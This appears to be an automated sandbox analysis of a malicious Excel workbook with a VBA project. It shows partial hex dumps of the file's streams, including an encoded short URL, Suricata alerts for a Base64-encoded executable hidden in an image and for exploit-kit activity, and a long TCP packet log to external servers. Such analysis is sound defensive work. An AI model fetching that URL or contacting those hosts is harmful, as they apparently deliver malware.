Data Raw:	01 00 00 02 b3 76 57 65 52 00 82 7a 00 00 00 00 00 00 00 00 00 00 00 00 32 01 00 00 e0 c9 ea 79 f9 ba ce 11 8c 82 00 aa 00 4b a9 0b 2e 01 00 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 74 00 6e 00 79 00 2e 00 77 00 74 00 66 00 2f 00 34 00 47 00 73 00 00 00 c2 5b 67 04 dd 73 40 e4 db d6 d2 db be 39 ef e1 b0 2a 26 e7 3b 47 10 0a 90 81 86 e2 c5 63 e7 b6 11 47 52 c7 0f 9b f1 83 00 22

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 537110

General
Stream Path:	Workbook
CLSID:
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	537110
Entropy:	7.999296500287962
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . . . . . . / . 6 . . . . . . . ! . L . B . . Q * r . ~ . . z M t . t R . z . @ . . . . . . . y . . . \\ . p . C P . + F . % w V 1 . R 5 z . K v . . \| . . ? n . + D . s { l - k T 8 . O b X [ . D , . d + E . . ( & . . . . V 0 I B . . . a . . . z . . . = . . . { . . . . . % . l . . K . $ k 8 . . . ' . . . . . . . . z v . . . . { . . . . . . . . [ = . . . 7 5 m S * i . [ e @ . . . . . . . " . . . { . . . . . . . . ! . . . S 1 . . . . . G 7 > 7 P $ . W . . N 2 [ . 1 . . . } e C v 8 B g '
Data Raw:	09 08 10 00 00 06 05 00 ab 1f cd 07 c1 00 01 00 06 04 00 00 2f 00 36 00 01 00 01 00 01 00 ab e7 21 87 92 a4 fe 0e ce 4c a5 03 42 d6 9b d3 13 d6 51 b1 2a 72 12 d6 7e e8 d0 ae c7 91 a1 7a 4d e6 74 c7 8b 74 52 ad dc 81 7a db e6 80 02 40 e1 00 02 00 b0 04 c1 00 02 00 f8 79 e2 00 00 00 5c 00 70 00 43 9b 50 e1 bb d1 13 2b 46 10 25 92 c2 77 56 88 ca 31 00 52 83 35 7a cf 89 ad 90 bc 4b c6

Stream Path: _VBA_PROJECT_CUR/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 531

General
Stream Path:	_VBA_PROJECT_CUR/PROJECT
CLSID:
File Type:	ASCII text, with CRLF line terminators
Stream Size:	531
Entropy:	5.299358462064816
Base64 Encoded:	True
Data ASCII:	I D = " { D F 5 F F B 7 F - B 7 1 1 - 4 F A 1 - 9 9 0 5 - A 2 8 4 B B E A 3 F 4 6 } " . . D o c u m e n t = T h i s W o r k b o o k / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 1 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 2 / & H 0 0 0 0 0 0 0 0 . . D o c u m e n t = S h e e t 3 / & H 0 0 0 0 0 0 0 0 . . N a m e = " V B A P r o j e c t " . . H e l p C o n t e x t I D = " 0 " . . V e r s i o n C o m p a t i b l e 3 2 = " 3 9 3 2 2 2 0 0 0 " . . C M G = " 8 7 8 5 A 7 3 1 A F 5 1 4 7 5 5 4
Data Raw:	49 44 3d 22 7b 44 46 35 46 46 42 37 46 2d 42 37 31 31 2d 34 46 41 31 2d 39 39 30 35 2d 41 32 38 34 42 42 45 41 33 46 34 36 7d 22 0d 0a 44 6f 63 75 6d 65 6e 74 3d 54 68 69 73 57 6f 72 6b 62 6f 6f 6b 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 44 6f 63 75 6d 65 6e 74 3d 53 68 65 65 74 32 2f 26 48 30 30 30

Stream Path: _VBA_PROJECT_CUR/PROJECTwm, File Type: data, Stream Size: 104

General
Stream Path:	_VBA_PROJECT_CUR/PROJECTwm
CLSID:
File Type:	data
Stream Size:	104
Entropy:	3.0488640812019017
Base64 Encoded:	False
Data ASCII:	T h i s W o r k b o o k . T . h . i . s . W . o . r . k . b . o . o . k . . . S h e e t 1 . S . h . e . e . t . 1 . . . S h e e t 2 . S . h . e . e . t . 2 . . . S h e e t 3 . S . h . e . e . t . 3 . . . . .
Data Raw:	54 68 69 73 57 6f 72 6b 62 6f 6f 6b 00 54 00 68 00 69 00 73 00 57 00 6f 00 72 00 6b 00 62 00 6f 00 6f 00 6b 00 00 00 53 68 65 65 74 31 00 53 00 68 00 65 00 65 00 74 00 31 00 00 00 53 68 65 65 74 32 00 53 00 68 00 65 00 65 00 74 00 32 00 00 00 53 68 65 65 74 33 00 53 00 68 00 65 00 65 00 74 00 33 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/_VBA_PROJECT, File Type: data, Stream Size: 2644

General
Stream Path:	_VBA_PROJECT_CUR/VBA/_VBA_PROJECT
CLSID:
File Type:	data
Stream Size:	2644
Entropy:	3.99197869103924
Base64 Encoded:	True
Data ASCII:	a . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . * . \\ . G . { . 0 . 0 . 0 . 2 . 0 . 4 . E . F . - . 0 . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . - . C . 0 . 0 . 0 . - . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 0 . 4 . 6 . } . # . 4 . . . 0 . # . 9 . # . C . : . \\ . P . R . O . G . R . A . ~ . 2 . \\ . C . O . M . M . O . N . ~ . 1 . \\ . M . I . C . R . O . S . ~ . 1 . \\ . V . B . A . \\ . V . B . A . 6 . \\ . V . B . E . 6 . . . D . L . L . # . V . i . s . u . a . l . . B . a . s . i . c . . F . o . r .
Data Raw:	cc 61 88 00 00 01 00 ff 09 40 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00 04 00 02 00 fa 00 2a 00 5c 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00 2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00 34 00 2e 00 30 00 23 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 553

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
CLSID:
File Type:	data
Stream Size:	553
Entropy:	6.362087362498996
Base64 Encoded:	True
Data ASCII:	. % . . . . . . . . 0 * . . . . p . . H . . . . d . . . . . . . V B A P r o j e c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . O h . . . . J < . . . . . r s t d o l e > . . . s . t . d . o . l . e . . . h . % . ^ . . * \\ G { 0 0 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s W O W 6 4 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . E O f f D i c E O . f . i . c E . . E . 2 D F 8 D 0 4 C . - 5 B F A - 1 0 1 B - B D E 5 E A A C 4 . 2 E
Data Raw:	01 25 b2 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 4f b2 b2 68 08 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T08:24:50.462673+0200	TCP	2049038	ET MALWARE Malicious Base64 Encoded Payload In Image	80	49171	198.46.176.133	192.168.2.22
2024-07-26T08:24:51.617188+0200	TCP	2020424	ET EXPLOIT_KIT Unknown EK Landing Feb 16 2015 b64 2 M1	80	49172	192.227.225.166	192.168.2.22
2024-07-26T08:24:49.422588+0200	TCP	2047750	ET MALWARE Base64 Encoded MZ In Image	80	49171	198.46.176.133	192.168.2.22

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 08:24:34.557415962 CEST	49165	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:34.562217951 CEST	80	49165	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:34.562386990 CEST	49165	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:34.562410116 CEST	49165	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:34.567337990 CEST	80	49165	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:35.704056978 CEST	80	49165	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:35.707958937 CEST	49165	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:35.711606026 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:35.716501951 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:35.717964888 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:35.717964888 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:35.722902060 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.201911926 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.201997995 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.202012062 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.202192068 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.202192068 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.202529907 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.202543020 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.202569962 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.202581882 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.203207016 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.203217983 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.203247070 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.203974009 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.203985929 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.204014063 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.204713106 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.204752922 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.207916021 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.207967997 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.208127975 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.209059000 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.209070921 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.209103107 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.288837910 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.288928986 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.288942099 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.288954020 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.288988113 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.288988113 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.289623976 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.289668083 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.293673992 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.293689013 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.293732882 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.294445038 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.294459105 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.294483900 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.294497013 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.298388004 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.298404932 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.298430920 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.298446894 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.299179077 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.299191952 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.299202919 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.299212933 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.299227953 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.303179026 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.303195953 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.303226948 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.303241014 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.303875923 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.303894997 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.303927898 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.307955980 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.307972908 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.308024883 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.308593035 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.308608055 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.308620930 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.308635950 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.308654070 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.312735081 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.312752962 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.312792063 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.375529051 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.375639915 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.375647068 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.375653982 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.375680923 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.375689030 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.376281023 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.376322031 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.380389929 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.380408049 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.380590916 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.381055117 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.381067991 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.381098986 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.381112099 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.385102034 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.385119915 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.385174990 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.385756969 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.385771990 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.385797024 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.385809898 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.389833927 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.389851093 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.389862061 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.389904976 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.389930010 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.390485048 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.390497923 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.390528917 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.394548893 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.394566059 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.394614935 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.395175934 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.395188093 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.395224094 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.399266005 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.399281025 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.399290085 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.399333000 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.399893999 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.399907112 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.399935961 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.399950027 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.404027939 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.404042959 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.404083014 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.404584885 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.404602051 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.404632092 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.404647112 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.408765078 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.408782959 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.408807993 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.408829927 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.409274101 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.409291029 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.409341097 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.558799982 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.648299932 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.648431063 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.648447990 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.648500919 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.648653030 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.648665905 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.648691893 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.648705006 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.649358034 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.649370909 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:36.649409056 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:36.764453888 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:36.769392014 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:36.769443035 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:36.769563913 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:36.774291992 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:37.342529058 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:37.342588902 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:38.038249969 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:38.043179989 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:38.185475111 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:38.185614109 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:38.324079037 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:38.329094887 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:38.474283934 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:38.474354029 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:38.561640024 CEST	49168	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:38.566857100 CEST	80	49168	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:38.567044973 CEST	49168	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:38.567225933 CEST	49168	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:38.572328091 CEST	80	49168	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:39.137139082 CEST	80	49168	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:39.345818996 CEST	49168	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:39.346111059 CEST	80	49168	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:39.346190929 CEST	49168	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:41.217235088 CEST	80	49166	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:41.217600107 CEST	49166	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:43.100250006 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:43.105294943 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:43.247272015 CEST	80	49167	188.114.97.3	192.168.2.22
Jul 26, 2024 08:24:43.247360945 CEST	49167	80	192.168.2.22	188.114.97.3
Jul 26, 2024 08:24:43.826785088 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:43.831927061 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:43.834795952 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:43.835028887 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:43.839940071 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.360832930 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.360893011 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.360934019 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.360946894 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.360975981 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.360994101 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.361383915 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.361397028 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.361418962 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.361444950 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.361865044 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.361879110 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.361910105 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.362653971 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.362668037 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.362705946 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.362723112 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.363354921 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.363398075 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.366367102 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.366425037 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.366569042 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.366610050 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.366864920 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.366914034 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.367091894 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.367139101 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.456743002 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.456849098 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.456868887 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.456882954 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.456923008 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.457556009 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.457577944 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.457604885 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.457622051 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.458250999 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.458264112 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.458298922 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.459029913 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.459044933 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.459099054 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.459795952 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.459810019 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.459861040 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.460551977 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.460566044 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.460622072 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.461302996 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.461317062 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.461328030 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.461353064 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.461378098 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.462120056 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.462132931 CEST	80	49170	192.227.225.166	192.168.2.22
Jul 26, 2024 08:24:44.462172031 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.462199926 CEST	49170	80	192.168.2.22	192.227.225.166
Jul 26, 2024 08:24:44.462851048 CEST	80	49170	192.227.225.166	192.168.2.22
